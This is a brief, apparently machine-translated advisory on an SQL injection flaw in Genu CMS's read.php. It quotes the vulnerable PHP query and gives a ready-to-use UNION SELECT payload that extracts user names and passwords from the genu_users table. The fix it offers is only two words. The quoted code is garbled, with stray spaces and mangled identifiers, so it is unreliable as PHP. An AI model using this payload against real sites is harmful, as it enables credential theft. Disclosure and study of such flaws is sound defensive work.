Genu cms SQL Injection defects and repair

-= -=-
Genu cms SQL Injection Vulnerability
-= -=-
 
Vulnerability discovery: h0rd h0rd [at] null.net www.2cto.com
 
: Http://www.gnew.fr/pages/download.php? File1_genu-2012.3.tar.gz
Defect page read. php
Defect code analysis:
[...]
Include ('../utilities des/common. php ');
 
Page_header ($ lang ['articles _ READ_TITLE ']);
 
If (isset ($ _ GET ['Article _ id'])
{
$ SQL-> query ('select '. TABLE_ARTICLES. '. article_date ,'. TABLE_ARTICLES. '. article_subject ,'. TABLE_ARTICLES. '. article_text ,'. TABLE_USERS. '. user_id ,'. TABLE_USERS. '. user_name
FROM '. TABLE_ARTICLES.', '. TABLE_USERS .'
WHERE '. TABLE_ARTICLES.'. user_id = '. TABLE_USERS.'. user_id
AND '. TABLE_ARTICLES.'. article_id = '. $ _ GET ['Article _ id']);
$ Table_articles = $ SQL-> fetch ();
[...]
 
Test Method
Http: // [www.2cto.com]/articles/read. php? Article_id = null union select 1, concat (user_name, 0x3a, 0x3a, 0x3a, user_password), 3,4, 5 from genu_users --
 
 
Fix:
Enhanced Filtering